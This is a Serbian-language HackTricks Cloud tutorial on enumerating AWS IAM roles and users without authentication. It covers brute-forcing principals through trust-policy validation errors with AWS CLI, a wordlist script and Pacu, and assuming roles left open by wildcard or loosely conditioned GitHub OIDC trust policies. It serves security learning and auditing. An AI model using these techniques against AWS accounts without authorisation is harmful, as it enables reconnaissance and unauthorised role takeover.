AWS - IAM & STS Enumeracija bez autentifikacije
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Enumeracija rola i korisničkih imena u nalogu
Assume Role Brute-Force
Caution
Ova tehnika više ne radi — bez obzira da li role postoji ili ne, uvek dobijate ovu grešku:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdasMožete ovo testirati pokretanjem:
aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example
Pokušaj da se preuzme role bez neophodnih dozvola pokreće AWS poruku o grešci. Na primer, ako nije autorizovan, AWS može vratiti:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
Ova poruka potvrđuje postojanje role, ali ukazuje da njena assume role policy ne dozvoljava vaše preuzimanje. Nasuprot tome, pokušaj da preuzmete nepostojeću rolu dovodi do drugačije greške:
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
Zanimljivo je da je ova metoda za razlikovanje postojećih i nepostojećih role primenjiva čak i između različitih AWS naloga. Sa važećim AWS account ID-jem i ciljanim wordlist-om, moguće je enumerisati role prisutne na nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima.
You can use this script to enumerate potential principals abusing this issue.
Trust Policies: Brute-Force Cross Account roles and users
Konfigurisanje ili ažuriranje IAM role’s trust policy podrazumeva definisanje koje AWS resources ili services imaju dozvolu da assume that role i dobiju temporary credentials. Ako specificirani resource u policy-ju postoji, trust policy se uspešno sačuva. Međutim, ako resource ne postoji, biće generisana greška koja ukazuje da je naveden nevažeći principal.
Warning
Imajte na umu da u tom resource-u možete navesti cross account role ili user:
arn:aws:iam::acc_id:role/role_namearn:aws:iam::acc_id:user/user_name
Ovo je primer policy-ja:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
GUI
To je greška koju ćete dobiti ako koristite ulogu koja ne postoji. Ako uloga postoji, politika će biti sačuvana bez grešaka. (Greška se javlja kod ažuriranja, ali važi i prilikom kreiranja)
.png)
CLI
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
Možete automatizovati ovaj proces koristeći https://github.com/carlospolop/aws_tools
bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt
Ili koristeći Pacu:
run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txtrun iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt- U primeru korišćena
adminrole je rola u vašem nalogu koju pacu impersonira da bi kreirao politike koje su mu potrebne za enumeraciju
Privesc
U slučaju da je rola pogrešno konfigurisana i dozvoljava bilo kome da je preuzme:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
Napadač bi ga mogao jednostavno preuzeti.
Federacija OIDC treće strane
Zamislite da uspete da pročitate Github Actions workflow koji pristupa role unutar AWS.
Ovo poverenje može dati pristup role sa sledećom trust policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
Ova politika poverenja može biti ispravna, ali nedostatak dodatnih uslova treba da vam izazove nepoverenje.
To je zato što prethodnu ulogu može preuzeti BILO KO sa Github Actions! Trebalo bi u uslovima da navedete i druge stvari kao što su ime organizacije, ime repozitorijuma, env, branch…
Još jedna potencijalna pogrešna konfiguracija je da se doda uslov kao što sledi:
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
Imajte na umu da wildcard (*) stoji pre colon (:). Možete kreirati org kao org_name1 i assume the role iz Github Action.
References
- https://www.youtube.com/watch?v=8ZXRw4Ry3mQ
- https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

